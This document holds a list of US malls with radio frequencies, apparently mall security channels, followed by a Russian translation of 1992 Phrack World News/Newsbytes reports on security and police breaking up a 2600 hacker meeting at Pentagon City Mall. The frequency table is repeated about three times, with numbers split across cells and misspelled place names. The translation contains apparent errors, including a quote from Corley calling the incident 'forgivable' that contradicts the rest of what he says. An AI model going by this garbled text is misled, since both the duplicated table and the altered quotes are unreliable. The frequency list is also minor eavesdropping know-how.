| NE | North Platte    | The Mall               | 461.425  |
| NH | Newington       | Foxrun Mall            | 463.975  |
|    |                 |                        | 464.225  |
| NH | Nashua          | Pheasant Lane Mall     | 464.95   |
| NJ | Atlantic City   | Ocean One Mall         | 461.90   |
| NJ | Short Hills     | Mall @ Short Hills     | 464.825  |
| NJ | New Brunswick   | Fashion Plaza          | 464.475  |
| NV | Reno            | Park Lane Mall         | 464.05   |
| NY | Colonie         | Northway Mall          | 461.6875 |
| NY | Mineola         | Roosevelt Field        | 462.725  |
| NY | Massapequa      | Sunrise Mall           | 151.865  |
|    |                 |                        | 464.465  |
| NY | Mt. Vernon      | Cross Country Center   | 154.57   |
|    |                 |                        | 154.60   |
| NY | New York        | Gateway Plaza          | 464.825  |
| NY | Lake Grove      | Smithhaven Mall        | 154.60   |
| OH | Columbus        | Northland Mall         | 463.625  |
|    |                 |                        | 464.925  |
| OH | Cleveland       | Randall Park           | 461.425  |
| OH | Youngstown      | Southern Park Mall     | 461.50   |
| OK | Broken Arrow    | Woodland Hills Mall    | 461.075  |
|    |                 |                        | 469.675  |
| OK | Oklahoma City   | North Park Mall        | 464.7875 |
| OR | Eugene          | Gateway Mall           | 461.125  |
| OR | Portland        | Washington Square Mall | 464.475  |
| PA | Media           | Granite Run Mall       | 464.325  |
| PA | Pittsburgh      | Century III            | 464.325  |
|    |                 |                        | 464.375  |

|    |                  |                     |          |
|----|------------------|---------------------|----------|
|    |                  |                     | 464.975  |
| PA | Pittsburgh       | Parkway Center Mall | 464.6875 |
| RI | Newport          | Mall @ Newport      | 461.575  |
| SC | Columbia         | Columbia Mall       | 462.1125 |
| SC | Spartanburg      | Westgate Mall       | 151.955  |
| TN | Knoxville        | East Town Mall      | 463.3375 |
| TN | Memphis          | Mall of Memphis     | 464.975  |
| TN | Nashville        | Bellevue Center     | 464.825  |
| TX | San Antonio      | Wonderland Mall     | 467.875  |
|    |                  |                     | 469.9125 |
| TX | Dallas           | World Trade Center  | 464.375  |
|    |                  |                     | 464.875  |
| TX | Fort Worth       | Plaza Forth Worth   | 461.85   |
|    |                  |                     | 464.55   |
| TX | Houston          | West Oaks Mall      | 462.1125 |
|    |                  |                     | 464.3875 |
|    |                  |                     | 464.4875 |
| UT | Salt Lake City   | Crossroads Plaza    | 464.825  |
|    |                  |                     | 464.975  |
|    |                  |                     | 464.9875 |
| VA | Colonial Heights | Southpark Mall      | 855.5625 |
| VA | Hampton          | Coliseum Mall       | 464.30   |
| VA | Portsmouth       | Tower Mall          | 464.675  |
| WI | Milwaukee        | Southgate Mall      | 464.725  |
|    |                  |                     | 464.8875 |
| WV | Vienna           | Grand Central Mall  | 151.835  |
| WY | Cheyenne         | Frontier Mall       | 464.5125 |

| ===== |             |                        |          |
|-------|-------------|------------------------|----------|
| AK    | Anchorage   | Northway Mall          | 461.775  |
| AL    | Birmingham  | Century Plaza          | 464.875  |
| AL    | Mobile      | Belair Mall            | 464.875  |
| AL    | Montgomery  | Montgomery Mall        | 466.0625 |
| AZ    | Phoenix     | Metrocenter            | 464.475  |
| AZ    | Phoenix     | Paradise Valley Mall   | 464.375  |
| AZ    | Tucson      | Foothills Mall         | 464.575  |
| CA    | Bakersfield | Valley Plaza Shop Cent | 154.57   |
| CA    | Canoga Park | Topanga Plaza          | 154.54   |

|    |               |                     |          |
|----|---------------|---------------------|----------|
| CA | Los Angeles   | Century City Center | 461.025  |
| CA | Oxnard        | Center Points Mall  | 464.475  |
| CA | San Francisco | Embarcadero Center  | 854.8375 |
| CO | Boulder       | Crossroads Mall     | 468.7875 |
| CO | Denver        | Laksie Mall         | 464.375  |
| CT | Hartford      | Northeast Plaza     | 464.375  |
|    |               |                     | 464.675  |
|    |               |                     | 464.80   |
|    |               |                     | 464.95   |
| CT | Danbury       | Fair Mall           | 464.675  |
| DC | Washington    | Montgomery Mall     | 463.25   |
| DC | Washington    | Renaissance Plaza   | 463.375  |
| FL | Jacksonville  | Gateway Mall        | 461.025  |
| FL | Miami         | South Date Plaza    | 461.675  |
| FL | Ft. Charlotte | South Port Square   | 154.54   |
| FL | Tallahassee   | Tallahassee Mall    | 461.20   |
|    |               |                     | 463.60   |
| FL | Tampa         | W. Shore Plaza      | 461.9125 |



|    |                 |                        |          |
|----|-----------------|------------------------|----------|
| GA | Atlanta         | Piedmont Center        | 464.525  |
|    |                 |                        | 464.5875 |
| GA | Atlanta         | Peachtree Center       | 461.825  |
| HI | Pearl City      | Century Park Plaza     | 464.225  |
| IA | Des Moines      | Merel Hay Mall         | 154.54   |
|    |                 |                        | 154.57   |
| IA | West Burlington | Southridge Mall        | 464.675  |
| IL | Springfield     | The Center             | 464.925  |
| IL | Chicago         | Ford City Center       | 464.775  |
|    |                 |                        | 464.975  |
| IL | Aurora          | Fox Valley Center      | 464.675  |
| IN | Ft. Wayne       | Glenbrook Square       | 464.575  |
|    |                 |                        | 464.875  |
| IN | Indianapolis    | Lafayette Square       | 461.025  |
| KS | Manhattan       | Manhattan Tower Center | 463.525  |
| KS | Kansas City     | Bannister Mall         | 464.575  |
|    |                 |                        | 464.675  |

|    |                 |                     |          |
|----|-----------------|---------------------|----------|
| KY | Lexington       | Fayette Mall        | 462.1125 |
| KY | Louisville      | Oxmoor Center       | 464.8125 |
| LA | New Orleans     | World Trade Center  | 463.25   |
| LA | Shreveport      | Mall St. Vincent    | 464.675  |
| MA | North Attleboro | Emerald Square Mall | 461.725  |
| MA | Boston          | World Trade Center  | 461.9125 |
|    |                 |                     | 461.9375 |
|    |                 |                     | 461.9625 |
|    |                 |                     | 462.1625 |
|    |                 |                     | 464.80   |
| MA | Boston          | Copley Plaza        | 154.60   |
| MA | Watertown       | Arsenal Mall        | 464.95   |
| MD | Baltimore       | Eastpoint Mall      | 151.805  |
| MD | Greenbelt       | Beltway Plaza Mall  | 151.925  |
| MI | Ann Arbor       | Briarwood Mall      | 462.05   |
|    |                 |                     | 462.575  |
| MI | Detroit         | Renaissance Center  | 151.955  |

|    |                 |                           |              |
|----|-----------------|---------------------------|--------------|
|    |                 |                           | 462.60       |
|    |                 |                           | 462.76<br>25 |
| MI | Grand<br>Rapids | Woodland<br>Center        | 464.47<br>5  |
|    |                 |                           | 464.53<br>75 |
| MN | Rochester       | Center<br>Place           | 464.47<br>5  |
|    |                 |                           | 464.53<br>75 |
| MO | Kansas<br>City  | Banister<br>Mall          | 464.57<br>5  |
|    |                 |                           | 464.67<br>5  |
| MO | St. Louis       | Galleria                  | 461.91<br>25 |
|    |                 |                           | 462.08<br>75 |
|    |                 |                           | 462.86<br>25 |
| MS | Tupelo          | Mall @<br>Barnes<br>Cross | 464.60       |
| MT | Billings        | West Park<br>Plaza        | 464.77<br>5  |
| NC | Raleigh         | North Hills<br>Mall       | 464.57<br>5  |
| NC | Wilmington      | Independence Mall         | 464.78<br>75 |
| ND | Great<br>Forks  | Columbia<br>Mall          | 463.60       |
| NE | Freendale       | Southridge<br>Mall        | 464.52<br>5  |

|    |                  |                            |              |
|----|------------------|----------------------------|--------------|
| NE | North<br>Platte  | The Mall                   | 461.42<br>5  |
| NH | Newington        | Foxrun Mall                | 463.97<br>5  |
|    |                  |                            | 464.22<br>5  |
| NH | Nashua           | Pheasant<br>Lane Mall      | 464.95       |
| NJ | Atlantic<br>City | Ocean One<br>Mall          | 461.90       |
| NJ | Short Hills      | Mall @<br>Short Hills      | 464.82<br>5  |
| NJ | New<br>Brunswick | Fashion<br>Plaza           | 464.47<br>5  |
| NV | Reno             | Park Lane<br>Mall          | 464.05       |
| NY | Colonie          | Northway<br>Mall           | 461.68<br>75 |
| NY | Mineola          | Roosevelt<br>Field         | 462.72<br>5  |
| NY | Massapeq<br>ua   | Sunrise<br>Mall            | 151.86<br>5  |
|    |                  |                            | 464.46<br>5  |
| NY | Mt.<br>Vernon    | Cross<br>Country<br>Center | 154.57       |
|    |                  |                            | 154.60       |
| NY | New York         | Gateway<br>Plaza           | 464.82<br>5  |
| NY | Lake<br>Grove    | Smithaven<br>Mall          | 154.60       |
| OH | Columbus         | Northland<br>Mall          | 463.62<br>5  |

|    |                  |                               |              |
|----|------------------|-------------------------------|--------------|
|    |                  |                               | 464.92<br>5  |
| OH | Cleveland        | Randall<br>Park               | 461.42<br>5  |
| OH | Youngsto<br>wn   | Southern<br>Park Mall         | 461.50       |
| OK | Broken<br>Arrow  | Woodland<br>Hills Mall        | 461.07<br>5  |
|    |                  |                               | 469.67<br>5  |
| OK | Oklahoma<br>City | North Park<br>Mall            | 464.78<br>75 |
| OR | Eugene           | Gateway<br>Mall               | 461.12<br>5  |
| OR | Portland         | Washingto<br>n Square<br>Mall | 464.47<br>5  |
| PA | Media            | Granite<br>Run Mall           | 464.32<br>5  |
| PA | Pittsburgh       | Century III                   | 464.32<br>5  |
|    |                  |                               | 464.37<br>5  |
|    |                  |                               | 464.97<br>5  |
| PA | Pittsburgh       | Parkway<br>Center Mall        | 464.68<br>75 |
| RI | Newport          | Mall @<br>Newport             | 461.57<br>5  |
| SC | Columbia         | Columbia<br>Mall              | 462.11<br>25 |
| SC | Spartanbu<br>rg  | Westgate<br>Mall              | 151.95<br>5  |
| TN | Knoxville        | East Town<br>Mall             | 463.33<br>75 |

|    |                  |                    |          |
|----|------------------|--------------------|----------|
| TN | Memphis          | Mall of Memphis    | 464.975  |
| TN | Nashville        | Bellevue Center    | 464.825  |
| TX | San Antonio      | Wonderland Mall    | 467.875  |
|    |                  |                    | 469.9125 |
| TX | Dallas           | World Trade Center | 464.375  |
|    |                  |                    | 464.875  |
| TX | Fort Worth       | Plaza Fort Worth   | 461.85   |
|    |                  |                    | 464.55   |
| TX | Houston          | West Oaks Mall     | 462.1125 |
|    |                  |                    | 464.3875 |
|    |                  |                    | 464.4875 |
| UT | Salt Lake City   | Crossroads Plaza   | 464.825  |
|    |                  |                    | 464.975  |
|    |                  |                    | 464.9875 |
| VA | Colonial Heights | Southpark Mall     | 855.5625 |
| VA | Hampton          | Coliseum Mall      | 464.30   |
| VA | Portsmouth       | Tower Mall         | 464.675  |

|    |           |                    |          |
|----|-----------|--------------------|----------|
| WI | Milwaukee | Southgate Mall     | 464.725  |
|    |           |                    | 464.8875 |
| WV | Vienna    | Grand Central Mall | 151.835  |
| WY | Cheyenne  | Frontier Mall      | 464.5125 |

|       |               |                        |          |
|-------|---------------|------------------------|----------|
| ===== |               |                        |          |
| ===== |               |                        |          |
| AK    | Anchorage     | Northway Mall          | 461.775  |
| AL    | Birmingham    | Century Plaza          | 464.875  |
| AL    | Mobile        | Belair Mall            | 464.875  |
| AL    | Montgomery    | Montgomery Mall        | 466.0625 |
| AZ    | Phoenix       | Metrocenter            | 464.475  |
| AZ    | Phoenix       | Paradise Valley Mall   | 464.375  |
| AZ    | Tucson        | Foothills Mall         | 464.575  |
| CA    | Bakersfield   | Valley Plaza Shop Cent | 154.57   |
| CA    | Canoga Park   | Topanga Plaza          | 154.54   |
| CA    | Los Angeles   | Century City Center    | 461.025  |
| CA    | Oxnard        | Center Points Mall     | 464.475  |
| CA    | San Francisco | Embarcadero Center     | 854.8375 |

|    |               |                   |          |
|----|---------------|-------------------|----------|
| CO | Boulder       | Crossroads Mall   | 468.7875 |
| CO | Denver        | Laksie Mall       | 464.375  |
| CT | Hartford      | Northeast Plaza   | 464.375  |
|    |               |                   | 464.675  |
|    |               |                   | 464.80   |
|    |               |                   | 464.95   |
| CT | Danbury       | Fair Mall         | 464.675  |
| DC | Washington    | Montgomery Mall   | 463.25   |
| DC | Washington    | Renaissance Plaza | 463.375  |
| FL | Jacksonville  | Gateway Mall      | 461.025  |
| FL | Miami         | South Date Plaza  | 461.675  |
| FL | Ft. Charlotte | South Port Square | 154.54   |
| FL | Tallahassee   | Tallahassee Mall  | 461.20   |
|    |               |                   | 463.60   |
| FL | Tampa         | W. Shore Plaza    | 461.9125 |
| GA | Atlanta       | Piedmont Center   | 464.525  |
|    |               |                   | 464.5875 |
| GA | Atlanta       | Peachtree Center  | 461.825  |



|    |                 |                        |          |
|----|-----------------|------------------------|----------|
| HI | Pearl City      | Century Park Plaza     | 464.225  |
| IA | Des Moines      | Merel Hay Mall         | 154.54   |
|    |                 |                        | 154.57   |
| IA | West Burlington | Southridge Mall        | 464.675  |
| IL | Springfield     | The Center             | 464.925  |
| IL | Chicago         | Ford City Center       | 464.775  |
|    |                 |                        | 464.975  |
| IL | Aurora          | Fox Valley Center      | 464.675  |
| IN | Ft. Wayne       | Glenbrook Square       | 464.575  |
|    |                 |                        | 464.875  |
| IN | Indianapolis    | Lafayette Square       | 461.025  |
| KS | Manhattan       | Manhattan Tower Center | 463.525  |
| KS | Kansas City     | Bannister Mall         | 464.575  |
|    |                 |                        | 464.675  |
| KY | Lexington       | Fayette Mall           | 462.1125 |
| KY | Louisville      | Oxmoor Center          | 464.8125 |
| LA | New Orleans     | World Trade Center     | 463.25   |

|    |                 |                     |          |
|----|-----------------|---------------------|----------|
| LA | Shreveport      | Mall St. Vincent    | 464.675  |
| MA | North Attleboro | Emerald Square Mall | 461.725  |
| MA | Boston          | World Trade Center  | 461.9125 |
|    |                 |                     | 461.9375 |
|    |                 |                     | 461.9625 |
|    |                 |                     | 462.1625 |
|    |                 |                     | 464.80   |
| MA | Boston          | Copley Plaza        | 154.60   |
| MA | Watertown       | Arsenal Mall        | 464.95   |
| MD | Baltimore       | Eastpoint Mall      | 151.805  |
| MD | Greenbelt       | Beltway Plaza Mall  | 151.925  |
| MI | Ann Arbor       | Briarwood Mall      | 462.05   |
|    |                 |                     | 462.575  |
| MI | Detroit         | Renaissance Center  | 151.955  |
|    |                 |                     | 462.60   |
|    |                 |                     | 462.7625 |
| MI | Grand Rapids    | Woodland Center     | 464.475  |

|    |              |                     |              |
|----|--------------|---------------------|--------------|
|    |              |                     | 464.53<br>75 |
| MN | Rochester    | Center Place        | 464.47<br>5  |
|    |              |                     | 464.53<br>75 |
| MO | Kansas City  | Banister Mall       | 464.57<br>5  |
|    |              |                     | 464.67<br>5  |
| MO | St. Louis    | Galleria            | 461.91<br>25 |
|    |              |                     | 462.08<br>75 |
|    |              |                     | 462.86<br>25 |
| MS | Tupelo       | Mall @ Barnes Cross | 464.60       |
| MT | Billings     | West Park Plaza     | 464.77<br>5  |
| NC | Raleigh      | North Hills Mall    | 464.57<br>5  |
| NC | Wilmington   | Independence Mall   | 464.78<br>75 |
| ND | Great Forks  | Columbia Mall       | 463.60       |
| NE | Freendale    | Southridge Mall     | 464.52<br>5  |
| NE | North Platte | The Mall            | 461.42<br>5  |
| NH | Newington    | Foxrun Mall         | 463.97<br>5  |
|    |              |                     | 464.22<br>5  |

|    |               |                      |          |
|----|---------------|----------------------|----------|
| NH | Nashua        | Pheasant Lane Mall   | 464.95   |
| NJ | Atlantic City | Ocean One Mall       | 461.90   |
| NJ | Short Hills   | Mall @ Short Hills   | 464.825  |
| NJ | New Brunswick | Fashion Plaza        | 464.475  |
| NV | Reno          | Park Lane Mall       | 464.05   |
| NY | Colonie       | Northway Mall        | 461.6875 |
| NY | Mineola       | Roosevelt Field      | 462.725  |
| NY | Massapequa    | Sunrise Mall         | 151.865  |
|    |               |                      | 464.465  |
| NY | Mt. Vernon    | Cross Country Center | 154.57   |
|    |               |                      | 154.60   |
| NY | New York      | Gateway Plaza        | 464.825  |
| NY | Lake Grove    | Smithaven Mall       | 154.60   |
| OH | Columbus      | Northland Mall       | 463.625  |
|    |               |                      | 464.925  |
| OH | Cleveland     | Randall Park         | 461.425  |
| OH | Youngstown    | Southern Park Mall   | 461.50   |

|    |               |                        |          |
|----|---------------|------------------------|----------|
| OK | Broken Arrow  | Woodland Hills Mall    | 461.075  |
|    |               |                        | 469.675  |
| OK | Oklahoma City | North Park Mall        | 464.7875 |
| OR | Eugene        | Gateway Mall           | 461.125  |
| OR | Portland      | Washington Square Mall | 464.475  |
| PA | Media         | Granite Run Mall       | 464.325  |
| PA | Pittsburgh    | Century III            | 464.325  |
|    |               |                        | 464.375  |
|    |               |                        | 464.975  |
| PA | Pittsburgh    | Parkway Center Mall    | 464.6875 |
| RI | Newport       | Mall @ Newport         | 461.575  |
| SC | Columbia      | Columbia Mall          | 462.1125 |
| SC | Spartanburg   | Westgate Mall          | 151.955  |
| TN | Knoxville     | East Town Mall         | 463.3375 |
| TN | Memphis       | Mall of Memphis        | 464.975  |
| TN | Nashville     | Bellevue Center        | 464.825  |
| TX | San Antonio   | Wonderland Mall        | 467.875  |

|    |                  |                    |              |
|----|------------------|--------------------|--------------|
|    |                  |                    | 469.91<br>25 |
| TX | Dallas           | World Trade Center | 464.37<br>5  |
|    |                  |                    | 464.87<br>5  |
| TX | Fort Worth       | Plaza Forth Worth  | 461.85       |
|    |                  |                    | 464.55       |
| TX | Houston          | West Oaks Mall     | 462.11<br>25 |
|    |                  |                    | 464.38<br>75 |
|    |                  |                    | 464.48<br>75 |
| UT | Salt Lake City   | Crossroads Plaza   | 464.82<br>5  |
|    |                  |                    | 464.97<br>5  |
|    |                  |                    | 464.98<br>75 |
| VA | Colonial Heights | Southpark Mall     | 855.56<br>25 |
| VA | Hampton          | Coliseum Mall      | 464.30       |
| VA | Portsmouth       | Tower Mall         | 464.67<br>5  |
| WI | Milwaukee        | Southgate Mall     | 464.72<br>5  |
|    |                  |                    | 464.88<br>75 |
| WV | Vienna           | Grand Central Mall | 151.83<br>5  |



# Сообщения о «рейде» на встречу 2600 в Вашингтоне — 9 ноября 1992 г.

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN
PWN          Phrack World News          PWN
PWN
PWN          Issue 41 / Part 1 of 3       PWN
PWN
PWN          Compiled by Datastream Cowboy PWN
PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

**Автор:** Compiled by Datastream Cowboy

---

*by Barbara E. McMullen & John F. McMullen (Newsbytes)*

ВАШИНГТОН, О.К. — Издатель известного хакерского журнала заявляет, что недавняя встреча людей, разделяющих интерес к темам, которые поднимает его журнал, была сорвана угрозами ареста со стороны охраны и полиции Арлингтона, штат Вирджиния.

Эрик Корли, известный также под псевдонимом «Emmanuel Goldstein», редактор и издатель «2600 Magazine: The Hacker Quarterly», сообщил Newsbytes, что встреча, состоявшаяся 6 ноября в торговом центре Pentagon City Mall под Вашингтоном, была сорвана, а часть материалов конфискована в ходе рейда.

2600 Magazine организует ежемесячные встречи хакеров, представителей прессы и всех интересующихся по всей стране. Встречи проходят в публичных местах в первую пятницу каждого месяца, и во время встреч участники нередко связываются друг с другом по телефону.

Корли рассказал Newsbytes, что в тот вечер встречи прошли в Нью-Йорке, Вашингтоне, Филадельфии, Кембридже, Сент-Луисе, Чикаго, Лос-Анджелесе и Сан-Франциско. По его словам: «Я уверен, что наши встречи неоднократно находились под наблюдением правоохранительных органов, но это единственный раз, когда нас преследовали. Это однозначно вопрос свободы слова».

По словам Крейга Нейдорфа, который присутствовал на встрече и распространял заявления о вступлении в Computer Professionals For Social Responsibility (CPSR): «Я видел, как охранники сосредоточили внимание на нас. Затем они начали приближаться к нам сразу с нескольких сторон — судя по всему, по команде человека с рацией на балконе. Когда они подошли, я отошёл от группы и наблюдал, как охранники оцепляли около 30 собравшихся. В основном это были старшекласники и студенты. Охранники потребовали обыскать их рюкзаки и сумки. Они конфисковали материалы — в том числе заявления CPSR, экземпляр журнала Mondo 2000 и кое-что ещё».

Нейдорф также добавил, что охранники конфисковали плёнку «у человека, который пытался их фотографировать. Когда хакер по прозвищу HackRat попытался записать имена охранников, у него отобрали карандаш и бумагу».

Нейдорф продолжил: «Я вышел на улицу и снова присоединился к группе, когда их выдворили из торгового центра. Охранники продолжали провоцировать группу и заявили, что те будут арестованы, если вернуться. Когда один из участников начал фотографировать охранников, предполагаемый старший охранник занервничал и начал угрожать, но плёнку не конфисковал».

Нейдорф также высказал предположение: «Думаю, рейд был спланирован. Они нагрянули около 18:00, идентифицировали нашу группу как "хакеров" и заявили, что знают о ежемесячных



встречах».

Рассказ Нейдорфа подтвердил вашингтонский хакер по прозвищу «Inhuman», который сообщил Newsbytes: «Я опоздал на встречу и увидел, как группу задерживают охранники. Я шёл рядом с группой, пока их выводили, и когда спросил одного из начальствующих его имя, он указал на бейдж, где имя было написано прописью. Я не смог его разобрать, а когда сказал об этом охраннику, тот ответил: "Не можешь прочитать — твои проблемы". Я всё же прочитал имя — "C. Thomas" — с другого бейджа».

Inhuman также сообщил Newsbytes, что несколько человек говорили ему о заявлениях охранников, будто те «действуют по поручению Секретной службы». Он добавил: «Мне также говорили, что присутствовали двое полицейских из полиции округа Арлингтон, хотя сам я их не видел».

Ещё один участник встречи, Даг Люс, рассказал: «Я тоже добрался до встречи очень поздно — около 19:45. Происходящее напоминало скоординированную акцию запугивания: никого не собирались арестовывать, но хотели разозлить людей и, возможно, отбить охоту возвращаться в этот торговый центр».

Люс добавил, что случайно услышал разговор с кем-то, кто принёс клавиатуру на продажу. По его словам, этого человека преследовала охрана, один из которых заявил: «У тебя нет разрешения продавца, и ты не будешь ничего продавать в моём торговом центре!»

Возможную причастность Секретной службы подтвердил 19-летний студент, известный как «Lithium Bandit», который рассказал Newsbytes: «Я прибыл в торговый центр около 18:15 и увидел, как группу задерживают примерно пять полицейских округа Арлингтон и пять охранников. Когда я подошёл посмотреть, что происходит, охранник потребовал у меня удостоверение личности. Я отказал, сославшись на то, что собираюсь уходить. Охранник сказал, что я не могу уйти, и потребовал пройти к полицейскому. Тот также потребовал документы, и когда я снова отказал, предупредил, что за отказ предъявить удостоверение меня можно задержать на срок до 10 часов. Я сдался и показал студенческий билет. Полицейские передали его охране, которая переписала моё имя и номер социального страхования».

Lithium Bandit продолжил: «Когда я спросил полицейских, что стоит за этими действиями, мне сказали, что не могут ответить, но что "Секретная служба вовлечена, и мы действуем в рамках наших полномочий"».

По словам молодого человека, он и другие участники впоследствии отправились в полицейский участок Арлингтона за дополнительной информацией, где им сообщили лишь, что поступил сигнал о применении похищенной кредитной карты и для расследования были направлены двое офицеров. «Позже они признали, что их было пятеро. Пока меня задерживали, я не слышал ни слова о кредитной карте, и никто так и не был арестован».

Марк Ротенберг, директор вашингтонского офиса CPSR, сообщил Newsbytes: «У меня пока практически нет подробностей об инциденте, но я очень обеспокоен этими сообщениями. Если конфискация заявлений CPSR действительно имела место — это возмутительно. В понедельник я выясню все факты».

Newsbytes обратилась в офис Pentagon City Mall и получила ответ, что вся информация о произошедшем должна исходить от начальника охраны Эла Джонсона, который будет доступен только в понедельник. Полиция округа Арлингтон отослала Newsbytes к «записи для прессы», которая не обновлялась с утра, предшествовавшего инциденту.

Корли сообщил Newsbytes: «Никаких сообщений о каком-либо противоправном поведении со стороны этих людей не поступало. Их явно выделили именно потому, что они хакеры. Это всё равно что выделять людей по этническому признаку. Я восхищаюсь тем, как группа держалась — вежливо и достойно. Но то, что это произошло, простительно. Я буду на следующей встрече в Вашингтоне, чтобы убедиться, что это не повторится».

Управляющий одним из крупнейших торговых центров штата Нью-Йорк предоставил Newsbytes справочную информацию о правах торговых центров в отношении поддержания порядка на своей территории: «Основная цель торгового центра — торговля. Внутреннее пространство торгового центра является частной собственностью и подчиняется правилам торгового центра. Единственное требование — чтобы правила применялись единообразно. Я не допускаю политической деятельности в своём торговом центре и не мог бы сделать исключение даже для демократов. Мы позволяем общественным организациям проводить встречи, но они должны запрашивать площадку не менее чем за две недели и иметь надлежащую страховку. По нашим правилам, группы численностью более 4 человек не вправе собираться в торговом центре».

Представитель торгового центра добавила, что охрана вправе потребовать удостоверение личности у нарушителей правил и что нарушители могут быть отстранены от посещения торгового центра на срок до 6 месяцев.

Она также заявила: «Некоторые считают, что атриумы и фуд-корты торговых центров являются общественным пространством. Это не так, и вся отрасль едина в этом мнении. Если бы торговые центры получали налоговые льготы за места общего пользования и за такие общественные услуги, как уборка снега, это, возможно, стало бы общественной территорией. Но торговые центры облагаются налогом на всю площадь и являются полностью частной собственностью, подчиняющейся собственным правилам. Если в моём торговом центре соберётся группа из 20 и более человек, их попросят покинуть помещение».

---

## **Противоречия вокруг роли Секретной службы в рейде на собрание 2600 в Вашингтоне — 7 ноября 1992 г.**

*by Barbara E. McMullen & John F. McMullen (Newsbytes)*

ВАШИНГТОН, О.К. — После событий пятницы, 6 ноября, когда полиция торгового центра Pentagon City Mall совместно с полицией округа Арлингтон, штат Вирджиния, потребовала от участников встречи 2600 покинуть помещение, поступающие сведения продолжают противоречить друг другу.

Участники встречи настаивают на том, что охрана торгового центра заявляла им, что «действует по поручению Секретной службы». Они также утверждают, что охрана конфисковала материалы из рюкзаков, изъяла плёнку у человека, пытавшегося фотографировать, и список имён охранников, который составлял один из участников.

Эл Джонсон, начальник охраны торгового центра, опроверг эти обвинения в разговоре с Newsbytes, заявив: «Никто не говорил, что мы действуем по поручению Секретной службы. Мы лишь применяли наши правила. Группа не вела себя агрессивно, однако сдвинула столы и проводила встречу в зоне фуд-корта. Фуд-корт предназначен для приёма пищи, а не для собраний. Именно поэтому мы попросили людей уйти».

Джонсон отрицал, что охрана изъяла плёнку или какие-либо списки, и добавил: «Мы ничего не конфисковывали. Группа отказалась признавать, кому принадлежат материалы на столах и в непосредственной близости от них, поэтому мы собрали их как потерянное имущество. Если окажется, что что-то из этого действительно принадлежит кому-то из этих людей, они вправе прийти и забрать вещи, предъявив надлежащее удостоверение личности».

В разговоре ранним утром 9 ноября Роберт Разор, агент Секретной службы, возглавляющий расследование компьютерных преступлений, сообщил Newsbytes, что привлечение охраны торгового центра в качестве представителей Секретной службы — это не то, что было сделано, и что, по его сведениям, Секретная служба не имеет никакого отношения к каким-либо действиям в

Pentagon City Mall в прошлую пятницу.

Звонок Newsbytes в полицию округа Арлингтон переадресовала детектив Ньювилл, которая сообщила, что её инструкции предписывают направлять все вопросы по данному делу агенту Секретной службы Дэвиду Адамсу. По её словам, именно Адамс предоставит всю информацию о причастности как полиции Арлингтона, так и Секретной службы к инциденту.

Адамс сообщил Newsbytes: «Полиция торгового центра не действовала как агенты Секретной службы. Помимо этого, я не могу ни подтвердить, ни опровергнуть наличие текущего расследования».

Адамс также добавил: «Не берясь говорить за полицию Арлингтона, я понимаю, что их присутствие было вызвано инцидентом, не связанным с расследованием».

Марк Ротенберг, директор вашингтонского офиса Computer Professionals for Social Responsibility (CPSR), заявил Newsbytes: «У CPSR есть основания полагать, что задержание людей в Pentagon City Mall в прошлую пятницу было осуществлено по указанию Секретной службы — федерального агентства. Если это так, то имел место незаконный обыск граждан в торговом центре. Ни ордера, ни признаков вероятной незаконной деятельности не было. Это поднимает конституционные вопросы. Мы приступили к подаче запроса в соответствии с Законом о свободе информации (FOIA), чтобы установить масштаб, степень участия и цели Секретной службы в этих действиях».

Встречи 2600 проходят в вечер первой пятницы каждого месяца в общественных местах и торговых центрах Нью-Йорка, Вашингтона, Филадельфии, Кембриджа, Сент-Луиса, Чикаго, Лос-Анджелеса и Сан-Франциско. Их организует 2600 Magazine: The Hacker Quarterly, и в них участвуют самые разные люди, интересующиеся телекоммуникациями и так называемыми «хакерскими темами». Нью-Йоркская встреча, старейшая в своём роде, регулярно посещается Эриком Корли, известным как Emmanuel Goldstein, — редактором и издателем 2600, — хакерами, журналистами, специалистами в области корпоративных коммуникаций и другими заинтересованными лицами. Известно, что в разное время она находилась под наблюдением правоохранительных органов, проводящих расследования по обвинениям в компьютерных преступлениях.

Корли сообщил Newsbytes: «Я уверен, что наши встречи неоднократно находились под наблюдением правоохранительных органов, но это единственный раз, когда нас преследовали. Это однозначно вопрос свободы слова». Корли также сообщил, что намерен присутствовать на декабрьской встрече в Вашингтоне «чтобы убедиться, что это не повторится».

---

## **Противоречивые показания в деле о рейде 2600; CPSR подаёт запрос FOIA — 11 ноября 1992 г.**

*by Barbara E. McMullen & John F. McMullen (Newsbytes)*

ВАШИНГТОН, О.К. — В ходе продолжающегося расследования возможной причастности Секретной службы к выдворению участников «встречи 2600» из Pentagon City Mall в пятницу, 6 ноября, от одного и того же источника поступили диаметрально противоположные заявления.

Эл Джонсон, начальник охраны Pentagon City Mall, заявил Newsbytes в понедельник, 9 ноября: «Никто не говорил, что мы действуем по поручению Секретной службы. Мы лишь применяли наши правила. Группа не вела себя агрессивно, однако сдвинула столы и проводила встречу в зоне фуд-корта. Фуд-корт предназначен для приёма пищи, а не для собраний. Именно поэтому мы попросили людей уйти».

В тот же день в статье Брока Микса в Communications Daily Джонсон был процитирован следующим образом: «Насколько я понимаю, мы в стороне от этого. Секретная служба, ФБР — именно они всем этим рулили».

Newsbytes связалась с Миксом для обсуждения расхождений в показаниях и была уведомлена, что разговор с Джонсоном был записан и доступен для ознакомления. Репортёр Newsbytes прослушал запись (и ознакомился с расшифровкой). На записи было отчётливо слышно, как Джонсон произносит фразу, процитированную Миксом.

Он также сказал: «Может, вам стоит позвонить в Секретную службу — они ведут всё это дело. Мы, мы просто были здесь», — а в ответ на вопрос Микса о контактном лице в Секретной службе: «Ах.. знаете, у меня нет контактного лица. Эти люди работали самостоятельно, под прикрытием, мы так и не узнали их имён, но точно — мы видели удостоверения, они были здесь».

Newsbytes снова связалась с Джонсоном утром в среду, 11 ноября, и ещё раз спросила, была ли Секретная служба причастна к произошедшему. Джонсон ответил: «Нет, я уже говорил вам, что они не были причастны». Когда ему упомянули о статье в Communications Daily, где он цитируется с противоположным смыслом, Джонсон заявил: «Я никогда этого не говорил Миксу. Секретная служба не была причастна».

Получив информацию о возможном существовании записи, где он говорит обратное, Джонсон воскликнул: «Микс меня записал? Он не имеет права. Я покажу ему, что не шучу. Я добьюсь его ареста».

Джонсон также сказал: «Он спросил меня, причастна ли Секретная служба. Я лишь сказал ему, что если он так думает, то должен позвонить им и спросить».

